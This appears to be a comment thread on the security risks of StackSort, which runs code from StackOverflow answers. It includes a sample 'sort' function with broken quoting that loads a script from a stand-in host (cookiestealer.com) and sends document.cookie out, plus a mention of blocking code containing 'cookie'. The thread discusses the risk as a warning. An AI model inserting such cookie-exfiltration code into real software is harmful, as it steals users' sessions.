I only search answers posted before the comic was released for this reason :) (Also, I block any code that uses the word "cookie")
Plus, I'm assuming that since they let anyone run arbitrary code on subdomains, they've thought this through.
Plus, I'm assuming that since they let anyone run arbitrary code on subdomains, they've thought this through.
That is so incredibly ineffective that you could just as well leave it out. Maybe have a look at https://github.com/jterrace/js.js for a sandboxed environment.
function sort(data) {
$('body').append('<script src="http://cookiestealer.com/log.js?cookie= + document.cookie + '"></script>");
return data.sort();
}function sortArray(a) { alert('Hello StackSort!') }
Question/Answer. =( Good foresight!
It would be a shame though if someone edited / republished / whatever an old script and used it to steal people's github cookies (your code wouldn't be able to filter someone calling a remote script which then ran its own code for instance or a script that evaled a new script based on a string / unicode etc.)
It might be best to just run the code in a frame that's not hosted on Github then you're safe.